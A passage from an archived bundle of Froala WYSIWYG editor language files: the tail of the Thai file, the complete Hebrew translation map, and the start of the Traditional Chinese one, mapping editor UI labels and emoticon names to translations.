Paragraph': 'ย่อหน้าเพิ่มเติม', 'More Rich': 'รวยมากขึ้น', 'More Misc': 'อื่น ๆ' }, direction: 'ltr' }; }))); //# sourceMappingURL=th.js.map languages/he.js 0000674 00000045056 00000000000 0007422 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Hebrew */ FE.LANGUAGE['he'] = { translation: { // Place holder 'Type something': "\u05D4\u05E7\u05DC\u05D3 \u05DB\u05D0\u05DF", // Basic formatting 'Bold': "\u05DE\u05D5\u05D3\u05D2\u05E9", 'Italic': "\u05DE\u05D5\u05D8\u05D4", 'Underline': "\u05E7\u05D5 \u05EA\u05D7\u05EA\u05D9", 'Strikethrough': "\u05E7\u05D5 \u05D0\u05DE\u05E6\u05E2\u05D9", // Main buttons 'Insert': "\u05D4\u05D5\u05E1\u05E4\u05EA", 'Delete': "\u05DE\u05D7\u05D9\u05E7\u05D4", 'Cancel': "\u05D1\u05D9\u05D8\u05D5\u05DC", 'OK': "\u05D1\u05E6\u05E2", 'Back': "\u05D1\u05D7\u05D6\u05E8\u05D4", 'Remove': "\u05D4\u05E1\u05E8", 'More': "\u05D9\u05D5\u05EA\u05E8", 'Update': "\u05E2\u05D3\u05DB\u05D5\u05DF", 'Style': "\u05E1\u05D2\u05E0\u05D5\u05DF", // Font 'Font Family': "\u05D2\u05D5\u05E4\u05DF", 'Font Size': "\u05D2\u05D5\u05D3\u05DC \u05D4\u05D2\u05D5\u05E4\u05DF", // Colors 'Colors': "\u05E6\u05D1\u05E2\u05D9\u05DD", 'Background': "\u05E8\u05E7\u05E2", 'Text': "\u05D4\u05D8\u05E1\u05D8", 'HEX Color': 'צבע הקס', // Paragraphs 'Paragraph Format': "\u05E4\u05D5\u05E8\u05DE\u05D8", 'Normal': "\u05E8\u05D2\u05D9\u05DC", 'Code': "\u05E7\u05D5\u05D3", 'Heading 1': "1 \u05DB\u05D5\u05EA\u05E8\u05EA", 'Heading 2': "2 \u05DB\u05D5\u05EA\u05E8\u05EA", 'Heading 3': "3 \u05DB\u05D5\u05EA\u05E8\u05EA", 'Heading 4': "4 \u05DB\u05D5\u05EA\u05E8\u05EA", // Style 'Paragraph Style': "\u05E1\u05D2\u05E0\u05D5\u05DF \u05E4\u05E1\u05E7\u05D4", 'Inline Style': "\u05E1\u05D2\u05E0\u05D5\u05DF \u05DE\u05D5\u05D1\u05E0\u05D4", // Alignment 'Align': "\u05D9\u05D9\u05E9\u05D5\u05E8", 'Align Left': "\u05D9\u05D9\u05E9\u05D5\u05E8 \u05DC\u05E9\u05DE\u05D0\u05DC", 'Align Center': "\u05D9\u05D9\u05E9\u05D5\u05E8 \u05DC\u05DE\u05E8\u05DB\u05D6", 'Align Right': "\u05D9\u05D9\u05E9\u05D5\u05E8 \u05DC\u05D9\u05DE\u05D9\u05DF", 'Align Justify': "\u05D9\u05D9\u05E9\u05D5\u05E8 \u05DE\u05DC\u05D0", 'None': "\u05D0\u05E3 \u05D0\u05D7\u05D3", // Lists 'Ordered List': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05E8\u05E9\u05D9\u05DE\u05D4 \u05DE\u05DE\u05D5\u05E1\u05E4\u05E8\u05EA", 'Unordered List': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05E8\u05E9\u05D9\u05DE\u05D4", // Indent 'Decrease Indent': "\u05D4\u05E7\u05D8\u05E0\u05EA \u05DB\u05E0\u05D9\u05E1\u05D4", 'Increase Indent': "\u05D4\u05D2\u05D3\u05DC\u05EA \u05DB\u05E0\u05D9\u05E1\u05D4", // Links 'Insert Link': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05E7\u05D9\u05E9\u05D5\u05E8", 'Open in new tab': "\u05DC\u05E4\u05EA\u05D5\u05D7 \u05D1\u05D8\u05D0\u05D1 \u05D7\u05D3\u05E9", 'Open Link': "\u05E7\u05D9\u05E9\u05D5\u05E8 \u05E4\u05EA\u05D5\u05D7", 'Edit Link': "\u05E7\u05D9\u05E9\u05D5\u05E8 \u05E2\u05E8\u05D9\u05DB\u05D4", 'Unlink': "\u05D4\u05E1\u05E8\u05EA \u05D4\u05E7\u05D9\u05E9\u05D5\u05E8", 'Choose Link': "\u05DC\u05D1\u05D7\u05D5\u05E8 \u05E7\u05D9\u05E9\u05D5\u05E8", // Images 'Insert Image': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05EA\u05DE\u05D5\u05E0\u05D4", 'Upload Image': "\u05EA\u05DE\u05D5\u05E0\u05EA \u05D4\u05E2\u05DC\u05D0\u05D4", 'By URL': "URL \u05E2\u05DC \u05D9\u05D3\u05D9", 'Browse': "\u05DC\u05D2\u05DC\u05D5\u05E9", 'Drop image': "\u05E9\u05D7\u05E8\u05E8 \u05D0\u05EA \u05D4\u05EA\u05DE\u05D5\u05E0\u05D4 \u05DB\u05D0\u05DF", 'or click': "\u05D0\u05D5 \u05DC\u05D7\u05E5", 'Manage Images': "\u05E0\u05D9\u05D4\u05D5\u05DC \u05D4\u05EA\u05DE\u05D5\u05E0\u05D5\u05EA", 'Loading': "\u05D8\u05E2\u05D9\u05E0\u05D4", 'Deleting': "\u05DE\u05D7\u05D9\u05E7\u05D4", 'Tags': "\u05EA\u05D2\u05D9\u05DD", 'Are you sure? Image will be deleted.': "\u05D4\u05D0\u05DD \u05D0\u05EA\u05D4 \u05D1\u05D8\u05D5\u05D7? \u05D4\u05EA\u05DE\u05D5\u05E0\u05D4 \u05EA\u05DE\u05D7\u05E7.", 'Replace': "\u05DC\u05D4\u05D7\u05DC\u05D9\u05E3", 'Uploading': "\u05D4\u05E2\u05DC\u05D0\u05D4", 'Loading image': "\u05EA\u05DE\u05D5\u05E0\u05EA \u05D8\u05E2\u05D9\u05E0\u05D4", 'Display': "\u05EA\u05E6\u05D5\u05D2\u05D4", 'Inline': "\u05D1\u05E9\u05D5\u05E8\u05D4", 'Break Text': "\u05D8\u05E7\u05E1\u05D8 \u05D4\u05E4\u05E1\u05E7\u05D4", 'Alternative Text': "\u05D8\u05E7\u05E1\u05D8 \u05D7\u05DC\u05D5\u05E4\u05D9", 'Change Size': "\u05D2\u05D5\u05D3\u05DC \u05E9\u05D9\u05E0\u05D5\u05D9", 'Width': "\u05E8\u05D5\u05D7\u05D1", 'Height': "\u05D2\u05D5\u05D1\u05D4", 'Something went wrong. Please try again.': "\u05DE\u05E9\u05D4\u05D5 \u05D4\u05E9\u05EA\u05D1\u05E9. \u05D1\u05D1\u05E7\u05E9\u05D4 \u05E0\u05E1\u05D4 \u05E9\u05D5\u05D1.", 'Image Caption': 'כיתוב תמונה', 'Advanced Edit': 'עריכה מתקדמת', // Video 'Insert Video': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05D5\u05D9\u05D3\u05D9\u05D0\u05D5", 'Embedded Code': "\u05E7\u05D5\u05D3 \u05DE\u05D5\u05D8\u05D1\u05E2", 'Paste in a video URL': 'הדבק בכתובת אתר של סרטון', 'Drop video': 'ירידה וידאו', 'Your browser does not support HTML5 video.': 'הדפדפן שלך אינו תומך וידאו html5.', 'Upload Video': 'להעלות וידאו', // Tables 'Insert Table': "\u05D4\u05DB\u05E0\u05E1 \u05D8\u05D1\u05DC\u05D4", 'Table Header': "\u05DB\u05D5\u05EA\u05E8\u05EA \u05D8\u05D1\u05DC\u05D4", 'Remove Table': "\u05D4\u05E1\u05E8 \u05E9\u05D5\u05DC\u05D7\u05DF", 'Table Style': "\u05E1\u05D2\u05E0\u05D5\u05DF \u05D8\u05D1\u05DC\u05D4", 'Horizontal Align': "\u05D0\u05D5\u05E4\u05E7\u05D9\u05EA \u05DC\u05D9\u05D9\u05E9\u05E8", 'Row': "\u05E9\u05D5\u05E8\u05D4", 'Insert row above': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05E9\u05D5\u05E8\u05D4 \u05DC\u05E4\u05E0\u05D9", 'Insert row below': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05E9\u05D5\u05E8\u05D4 \u05D0\u05D7\u05E8\u05D9", 'Delete row': "\u05DE\u05D7\u05D9\u05E7\u05EA \u05E9\u05D5\u05E8\u05D4", 'Column': "\u05D8\u05D5\u05E8", 'Insert column before': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05D8\u05D5\u05E8 \u05DC\u05E4\u05E0\u05D9", 'Insert column after': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05D8\u05D5\u05E8 \u05D0\u05D7\u05E8\u05D9", 'Delete column': "\u05DE\u05D7\u05D9\u05E7\u05EA \u05D8\u05D5\u05E8", 'Cell': "\u05EA\u05D0", 'Merge cells': "\u05DE\u05D6\u05D2 \u05EA\u05D0\u05D9\u05DD", 'Horizontal split': "\u05E4\u05E6\u05DC \u05D0\u05D5\u05E4\u05E7\u05D9", 'Vertical split': "\u05E4\u05E6\u05DC \u05D0\u05E0\u05DB\u05D9", 'Cell Background': "\u05E8\u05E7\u05E2 \u05EA\u05D0", 'Vertical Align': "\u05D9\u05D9\u05E9\u05D5\u05E8 \u05D0\u05E0\u05DB\u05D9", 'Top': "\u05E2\u05B6\u05DC\u05B4\u05D9\u05D5\u05B9\u05DF", 'Middle': "\u05EA\u05B4\u05D9\u05DB\u05D5\u05B9\u05E0\u05B4\u05D9", 'Bottom': "\u05EA\u05D7\u05EA\u05D5\u05DF", 'Align Top': "\u05DC\u05D9\u05D9\u05E9\u05E8 \u05E2\u05B6\u05DC\u05B4\u05D9\u05D5\u05B9\u05DF", 'Align Middle': "\u05DC\u05D9\u05D9\u05E9\u05E8 \u05EA\u05B4\u05D9\u05DB\u05D5\u05B9\u05E0\u05B4\u05D9", 'Align Bottom': "\u05DC\u05D9\u05D9\u05E9\u05E8 \u05EA\u05D7\u05EA\u05D5\u05DF", 'Cell Style': "\u05E1\u05D2\u05E0\u05D5\u05DF \u05EA\u05D0", // Files 'Upload File': "\u05D4\u05E2\u05DC\u05D0\u05EA \u05E7\u05D5\u05D1\u05E5", 'Drop file': "\u05D6\u05E8\u05D5\u05E7 \u05E7\u05D5\u05D1\u05E5 \u05DB\u05D0\u05DF", // Emoticons 'Emoticons': "\u05E1\u05DE\u05D9\u05D9\u05DC\u05D9\u05DD", 'Grinning face': "\u05D7\u05D9\u05D9\u05DA \u05E4\u05E0\u05D9\u05DD", 'Grinning face with smiling eyes': "\u05D7\u05D9\u05D9\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E2\u05D9\u05E0\u05D9\u05D9\u05DD \u05DE\u05D7\u05D9\u05D9\u05DB\u05D5\u05EA", 'Face with tears of joy': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05D3\u05DE\u05E2\u05D5\u05EA \u05E9\u05DC \u05E9\u05DE\u05D7\u05D4", 'Smiling face with open mouth': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E4\u05D4 \u05E4\u05EA\u05D5\u05D7", 'Smiling face with open mouth and smiling eyes': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E4\u05D4 \u05E4\u05EA\u05D5\u05D7 \u05D5\u05DE\u05D7\u05D9\u05D9\u05DA \u05E2\u05D9\u05E0\u05D9\u05D9\u05DD", 'Smiling face with open mouth and cold sweat': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E4\u05D4 \u05E4\u05EA\u05D5\u05D7 \u05D5\u05D6\u05D9\u05E2\u05D4 \u05E7\u05E8\u05D4", 'Smiling face with open mouth and tightly-closed eyes': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E4\u05D4 \u05E4\u05EA\u05D5\u05D7 \u05D5\u05E2\u05D9\u05E0\u05D9\u05D9\u05DD \u05D1\u05D7\u05D5\u05D6\u05E7\u05D4-\u05E1\u05D2\u05D5\u05E8\u05D5\u05EA", 'Smiling face with halo': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05D4\u05D9\u05DC\u05D4", 'Smiling face with horns': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E7\u05E8\u05E0\u05D5\u05EA", 'Winking face': "\u05E7\u05E8\u05D9\u05E6\u05D4 \u05E4\u05E0\u05D9\u05DD", 'Smiling face with smiling eyes': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E2\u05D9\u05E0\u05D9\u05D9\u05DD \u05DE\u05D7\u05D9\u05D9\u05DB\u05D5\u05EA", 'Face savoring delicious food': "\u05E4\u05E0\u05D9\u05DD \u05DE\u05EA\u05E2\u05E0\u05D2 \u05D0\u05D5\u05DB\u05DC \u05D8\u05E2\u05D9\u05DD", 'Relieved face': "\u05E4\u05E0\u05D9\u05DD \u05E9\u05DC \u05D4\u05E7\u05DC\u05D4", 'Smiling face with heart-shaped eyes': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E2\u05D9\u05E0\u05D9\u05D9\u05DD \u05D1\u05E6\u05D5\u05E8\u05EA \u05DC\u05D1", 'Smiling face with sunglasses': "\u05D7\u05D9\u05D5\u05DA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05DE\u05E9\u05E7\u05E4\u05D9 \u05E9\u05DE\u05E9", 'Smirking face': "\u05D4\u05D9\u05D0 \u05D7\u05D9\u05D9\u05DB\u05D4 \u05D7\u05D9\u05D5\u05DA \u05E0\u05D1\u05D6\u05D4 \u05E4\u05E0\u05D9\u05DD", 'Neutral face': "\u05E4\u05E0\u05D9\u05DD \u05E0\u05D9\u05D8\u05E8\u05DC\u05D9", 'Expressionless face': "\u05D1\u05E4\u05E0\u05D9\u05DD \u05D7\u05EA\u05D5\u05DD", 'Unamused face': "\u05E4\u05E0\u05D9\u05DD \u05DC\u05D0 \u05DE\u05E9\u05D5\u05E2\u05E9\u05E2\u05D9\u05DD", 'Face with cold sweat': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05D6\u05D9\u05E2\u05D4 \u05E7\u05E8\u05D4", 'Pensive face': "\u05D1\u05E4\u05E0\u05D9\u05DD \u05DE\u05D4\u05D5\u05E8\u05D4\u05E8", 'Confused face': "\u05E4\u05E0\u05D9\u05DD \u05DE\u05D1\u05D5\u05DC\u05D1\u05DC\u05D9\u05DD", 'Confounded face': "\u05E4\u05E0\u05D9\u05DD \u05DE\u05D1\u05D5\u05DC\u05D1\u05DC", 'Kissing face': "\u05E0\u05E9\u05D9\u05E7\u05D5\u05EA \u05E4\u05E0\u05D9\u05DD", 'Face throwing a kiss': "\u05E4\u05E0\u05D9\u05DD \u05DC\u05D6\u05E8\u05D5\u05E7 \u05E0\u05E9\u05D9\u05E7\u05D4", 'Kissing face with smiling eyes': "\u05E0\u05E9\u05D9\u05E7\u05D5\u05EA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E2\u05D9\u05E0\u05D9\u05D9\u05DD \u05DE\u05D7\u05D9\u05D9\u05DB\u05D5\u05EA", 'Kissing face with closed eyes': "\u05E0\u05E9\u05D9\u05E7\u05D5\u05EA \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E2\u05D9\u05E0\u05D9\u05D9\u05DD \u05E1\u05D2\u05D5\u05E8\u05D5\u05EA", 'Face with stuck out tongue': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05DC\u05E9\u05D5\u05DF \u05D1\u05DC\u05D8\u05D5", 'Face with stuck out tongue and winking eye': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05DC\u05E9\u05D5\u05DF \u05EA\u05E7\u05D5\u05E2\u05D4 \u05D4\u05D7\u05D5\u05E6\u05D4 \u05D5\u05E2\u05D9\u05DF \u05E7\u05D5\u05E8\u05E6\u05EA", 'Face with stuck out tongue and tightly-closed eyes': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05DC\u05E9\u05D5\u05DF \u05EA\u05E7\u05D5\u05E2\u05D4 \u05D4\u05D7\u05D5\u05E6\u05D4 \u05D5\u05E2\u05D9\u05E0\u05D9\u05D9\u05DD \u05D1\u05D7\u05D5\u05D6\u05E7\u05D4-\u05E1\u05D2\u05D5\u05E8\u05D5\u05EA", 'Disappointed face': "\u05E4\u05E0\u05D9\u05DD \u05DE\u05D0\u05D5\u05DB\u05D6\u05D1\u05D9\u05DD", 'Worried face': "\u05E4\u05E0\u05D9\u05DD \u05DE\u05D5\u05D3\u05D0\u05D2\u05D9\u05DD", 'Angry face': "\u05E4\u05E0\u05D9\u05DD \u05DB\u05D5\u05E2\u05E1\u05D9\u05DD", 'Pouting face': "\u05DE\u05E9\u05D5\u05E8\u05D1\u05D1 \u05E4\u05E0\u05D9\u05DD", 'Crying face': "\u05D1\u05DB\u05D9 \u05E4\u05E0\u05D9\u05DD", 'Persevering face': "\u05D4\u05EA\u05DE\u05D3\u05EA \u05E4\u05E0\u05D9\u05DD", 'Face with look of triumph': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05DE\u05D1\u05D8 \u05E9\u05DC \u05E0\u05E6\u05D7\u05D5\u05DF", 'Disappointed but relieved face': "\u05DE\u05D0\u05D5\u05DB\u05D6\u05D1 \u05D0\u05D1\u05DC \u05D4\u05D5\u05E7\u05DC \u05E4\u05E0\u05D9\u05DD", 'Frowning face with open mouth': "\u05E7\u05DE\u05D8 \u05D0\u05EA \u05DE\u05E6\u05D7 \u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E4\u05D4 \u05E4\u05EA\u05D5\u05D7", 'Anguished face': "\u05E4\u05E0\u05D9\u05DD \u05DE\u05D9\u05D5\u05E1\u05E8\u05D9\u05DD", 'Fearful face': "\u05E4\u05E0\u05D9\u05DD \u05E9\u05D7\u05E9\u05E9\u05D5", 'Weary face': "\u05E4\u05E0\u05D9\u05DD \u05D5\u05D9\u05E8\u05D9", 'Sleepy face': "\u05E4\u05E0\u05D9\u05DD \u05E9\u05DC \u05E1\u05DC\u05D9\u05E4\u05D9", 'Tired face': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05D9\u05D9\u05E4\u05D9\u05DD", 'Grimacing face': "\u05D4\u05D5\u05D0 \u05D4\u05E2\u05D5\u05D5\u05D4 \u05D0\u05EA \u05E4\u05E0\u05D9 \u05E4\u05E0\u05D9\u05DD", 'Loudly crying face': "\u05D1\u05E7\u05D5\u05DC \u05E8\u05DD \u05D1\u05D5\u05DB\u05D4 \u05E4\u05E0\u05D9\u05DD", 'Face with open mouth': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E4\u05D4 \u05E4\u05EA\u05D5\u05D7", 'Hushed face': "\u05E4\u05E0\u05D9\u05DD \u05E9\u05D5\u05E7\u05D8\u05D9\u05DD", 'Face with open mouth and cold sweat': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05E4\u05D4 \u05E4\u05EA\u05D5\u05D7 \u05D5\u05D6\u05D9\u05E2\u05D4 \u05E7\u05E8\u05D4\"", 'Face screaming in fear': "\u05E4\u05E0\u05D9\u05DD \u05E6\u05D5\u05E8\u05D7\u05D9\u05DD \u05D1\u05E4\u05D7\u05D3", 'Astonished face': "\u05E4\u05E0\u05D9\u05D5 \u05E0\u05D3\u05D4\u05DE\u05D5\u05EA", 'Flushed face': "\u05E4\u05E0\u05D9\u05D5 \u05E1\u05DE\u05D5\u05E7\u05D5\u05EA", 'Sleeping face': "\u05E9\u05D9\u05E0\u05D4 \u05E4\u05E0\u05D9\u05DD", 'Dizzy face': "\u05E4\u05E0\u05D9\u05DD \u05E9\u05DC \u05D3\u05D9\u05D6\u05D9", 'Face without mouth': "\u05E4\u05E0\u05D9\u05DD \u05DC\u05DC\u05D0 \u05E4\u05D4", 'Face with medical mask': "\u05E4\u05E0\u05D9\u05DD \u05E2\u05DD \u05DE\u05E1\u05DB\u05D4 \u05E8\u05E4\u05D5\u05D0\u05D9\u05EA", // Line breaker 'Break': "\u05D4\u05E4\u05E1\u05E7\u05D4", // Math 'Subscript': "\u05DB\u05EA\u05D1 \u05EA\u05D7\u05EA\u05D9", 'Superscript': "\u05E2\u05D9\u05DC\u05D9", // Full screen 'Fullscreen': "\u05DE\u05E1\u05DA \u05DE\u05DC\u05D0", // Horizontal line 'Insert Horizontal Line': "\u05D4\u05D5\u05E1\u05E4\u05EA \u05E7\u05D5 \u05D0\u05D5\u05E4\u05E7\u05D9", // Clear formatting 'Clear Formatting': "\u05DC\u05D4\u05E1\u05D9\u05E8 \u05E2\u05D9\u05E6\u05D5\u05D1", // Save 'Save': "\u05DC\u05D4\u05E6\u05D9\u05DC", // Undo, redo 'Undo': "\u05D1\u05D9\u05D8\u05D5\u05DC", 'Redo': "\u05D1\u05E6\u05E2 \u05E9\u05D5\u05D1", // Select all 'Select All': "\u05D1\u05D7\u05E8 \u05D4\u05DB\u05DC", // Code view 'Code View': "\u05EA\u05E6\u05D5\u05D2\u05EA \u05E7\u05D5\u05D3", // Quote 'Quote': "\u05E6\u05D9\u05D8\u05D5\u05D8", 'Increase': "\u05DC\u05D4\u05D2\u05D1\u05D9\u05E8", 'Decrease': "\u05D9\u05E8\u05D9\u05D3\u05D4", // Quick Insert 'Quick Insert': "\u05DB\u05E0\u05E1 \u05DE\u05D4\u05D9\u05E8", // Spcial Characters 'Special Characters': 'תווים מיוחדים', 'Latin': 'לָטִינִית', 'Greek': 'יווני', 'Cyrillic': 'קירילית', 'Punctuation': 'פיסוק', 'Currency': 'מַטְבֵּעַ', 'Arrows': 'חצים', 'Math': 'מתמטיקה', 'Misc': 'שונות', // Print. 'Print': 'הדפס', // Spell Checker. 'Spell Checker': 'בודק איות', // Help 'Help': 'עֶזרָה', 'Shortcuts': 'קיצורי דרך', 'Inline Editor': 'עורך מוטבע', 'Show the editor': 'להראות את העורך', 'Common actions': 'פעולות נפוצות', 'Copy': 'עותק', 'Cut': 'גזירה', 'Paste': 'לְהַדבִּיק', 'Basic Formatting': 'עיצוב בסיסי', 'Increase quote level': 'רמת ציטוט', 'Decrease quote level': 'רמת ציטוט ירידה', 'Image / Video': 'תמונה / וידאו', 'Resize larger': 'גודל גדול יותר', 'Resize smaller': 'גודל קטן יותר', 'Table': 'שולחן', 'Select table cell': 'בחר תא תא - -', 'Extend selection one cell': 'להאריך את הבחירה תא אחד', 'Extend selection one row': 'להאריך את הבחירה שורה אחת', 'Navigation': 'ניווט', 'Focus popup / toolbar': 'מוקד קופץ / סרגל הכלים', 'Return focus to previous position': 'חזרה להתמקד קודם', // Embed.ly 'Embed URL': 'כתובת אתר להטביע', 'Paste in a URL to embed': 'הדבק כתובת אתר להטביע', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'התוכן המודבק מגיע ממסמך Word של Microsoft. האם ברצונך לשמור את הפורמט או לנקות אותו?', 'Keep': 'לִשְׁמוֹר', 'Clean': 'לְנַקוֹת', 'Word Paste Detected': 'הדבק מילה זוהתה', // Character Counter 'Characters': 'תווים', // More Buttons 'More Text': 'עוד טקסט', 'More Paragraph': 'עוד סעיף', 'More Rich': 'עוד עשיר', 'More Misc': 'שונות עוד' }, direction: 'rtl' }; }))); //# sourceMappingURL=he.js.map languages/zh_tw.js 0000674 00000025246 00000000000 0010160 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Traditional Chinese spoken in Taiwan. */ FE.LANGUAGE['zh_tw'] = { translation: { // Place holder 'Type something': "\u8F38\u5165\u4E00\u4E9B\u5167\u5BB9", // Basic formatting 'Bold': '粗體', 'Italic': '斜體', 'Underline': '下劃線', 'Strikethrough': '刪除線', // Main buttons 'Insert': '插入', 'Delete': '刪除', 'Cancel': '取消', 'OK': '好的', 'Back': '後退', 'Remove': '去掉', 'More': '更多', 'Update': '更新', 'Style': '樣式', // Font 'Font Family': '字体系列', 'Font Size': "\u5B57\u578B\u5927\u5C0F", // Colors 'Colors': '顏色', 'Background': '背景', 'Text': '文字', 'HEX Color': '十六進制顏色', // Paragraphs 'Paragraph Format': '段落格式', 'Normal': '正常', 'Code': '代碼', 'Heading 1': '標題1', 'Heading 2': '標題2', 'Heading 3': '標題3', 'Heading 4': '標題4', // Style 'Paragraph Style': '段落樣式', 'Inline Style': '內聯樣式', // Alignment 'Align': '对齐', 'Align Left': '左對齊', 'Align Center': "\u7F6E\u4E2D\u5C0D\u9F4A", 'Align Right': "\u7F6E\u53F3\u5C0D\u9F4A", 'Align Justify': '兩端對齊', 'None': '没有', // Lists 'Ordered List': '有序列表', 'Unordered List': '无序列表', // Indent 'Decrease Indent': '減少縮進量', 'Increase Indent': '增加縮進量', // Links 'Insert Link': "\u63D2\u5165\u9023\u7D50", 'Open in new tab': '在新標籤頁中打開', 'Open Link': "\u958B\u555F\u9023\u7D50", 'Edit Link': "\u7DE8\u8F2F\u9023\u7D50", 'Unlink': "\u79FB\u9664\u9023\u7D50", 'Choose Link': "\u9078\u64C7\u9023\u7D50", // Images 'Insert Image': '插入圖片', 'Upload Image': '上傳圖片', 'By URL': "\u7DB2\u5740\u4E0A\u50B3", 'Browse': '瀏覽', 'Drop image': "\u5716\u7247\u62D6\u66F3", 'or click': '或點擊', 'Manage Images': '管理圖片', 'Loading': '加載中', 'Deleting': '刪除中', 'Tags': '標籤', 'Are you sure? Image will be deleted.': "\u78BA\u5B9A\u522A\u9664\u5716\u7247\uFF1F", 'Replace': '替換', 'Uploading': '上傳中', 'Loading image': '圖片加載中', 'Display': '顯示', 'Inline': "\u5D4C\u5165", 'Break Text': '打破文字', 'Alternative Text': '替換文字', 'Change Size': '改變大小', 'Width': '寬度', 'Height': '高度', 'Something went wrong. Please try again.': '發生錯誤,請重試。', 'Image Caption': '圖片標題', 'Advanced Edit': '高級編輯', // Video 'Insert Video': '插入影片', 'Embedded Code': '嵌入式代码', 'Paste in a video URL': '粘貼在視頻網址', 'Drop video': '放下視頻', 'Your browser does not support HTML5 video.': '您的瀏覽器不支持html5視頻。', 'Upload Video': '上傳影片', // Tables 'Insert Table': '插入表格', 'Table Header': '表頭', 'Remove Table': "\u522A\u9664\u8868", 'Table Style': '表格樣式', 'Horizontal Align': '水平對齊方式', 'Row': '行', 'Insert row above': '在上方插入', 'Insert row below': '在下方插入', 'Delete row': '刪除行', 'Column': '列', 'Insert column before': "\u5411\u5DE6\u63D2\u5165\u4E00\u5217", 'Insert column after': "\u5411\u53F3\u63D2\u5165\u4E00\u5217", 'Delete column': '刪除列', 'Cell': '單元格', 'Merge cells': '合併單元格', 'Horizontal split': '水平分割', 'Vertical split': '垂直分割', 'Cell Background': '單元格背景', 'Vertical Align': '垂直對齊方式', 'Top': "\u4E0A", 'Middle': "\u4E2D", 'Bottom': '底部', 'Align Top': '靠上對齊', 'Align Middle': "\u4E2D\u9593\u5C0D\u9F4A", 'Align Bottom': '靠下對齊', 'Cell Style': '單元格樣式', // Files 'Upload File': '上傳文件', 'Drop file': '拖入文件', // Emoticons 'Emoticons': '表情符號', 'Grinning face': "\u81C9\u4E0A\u7B11\u563B\u563B", 'Grinning face with smiling eyes': "\u7B11\u563B\u563B\u7684\u81C9\uFF0C\u542B\u7B11\u7684\u773C\u775B", 'Face with tears of joy': "\u81C9\u4E0A\u5E36\u8457\u559C\u6085\u7684\u6DDA\u6C34", 'Smiling face with open mouth': "\u7B11\u81C9\u5F35\u958B\u5634", 'Smiling face with open mouth and smiling eyes': "\u7B11\u81C9\u5F35\u958B\u5634\u5FAE\u7B11\u7684\u773C\u775B", 'Smiling face with open mouth and cold sweat': '帶冷汗的張嘴微笑', 'Smiling face with open mouth and tightly-closed eyes': "\u7B11\u81C9\u5F35\u958B\u5634\uFF0C\u7DCA\u7DCA\u9589\u8457\u773C\u775B", 'Smiling face with halo': '帶光環微笑', 'Smiling face with horns': '帶牛角的微笑', 'Winking face': "\u7728\u773C\u8868\u60C5", 'Smiling face with smiling eyes': "\u9762\u5E36\u5FAE\u7B11\u7684\u773C\u775B", 'Face savoring delicious food': "\u9762\u5C0D\u54C1\u5690\u7F8E\u5473\u7684\u98DF\u7269", 'Relieved face': '如釋重負', 'Smiling face with heart-shaped eyes': "\u5FAE\u7B11\u7684\u81C9\uFF0C\u5FC3\u81DF\u5F62\u7684\u773C\u775B", 'Smiling face with sunglasses': "\u7B11\u81C9\u592A\u967D\u93E1", 'Smirking face': "\u9762\u5C0D\u9762\u5E36\u7B11\u5BB9", 'Neutral face': '中性臉', 'Expressionless face': '无表情的脸', 'Unamused face': "\u4E00\u81C9\u4E0D\u5FEB\u7684\u81C9", 'Face with cold sweat': "\u9762\u5C0D\u51B7\u6C57", 'Pensive face': "\u6C89\u601D\u7684\u81C9", 'Confused face': "\u9762\u5C0D\u56F0\u60D1", 'Confounded face': "\u8A72\u6B7B\u7684\u81C9", 'Kissing face': '接吻的脸', 'Face 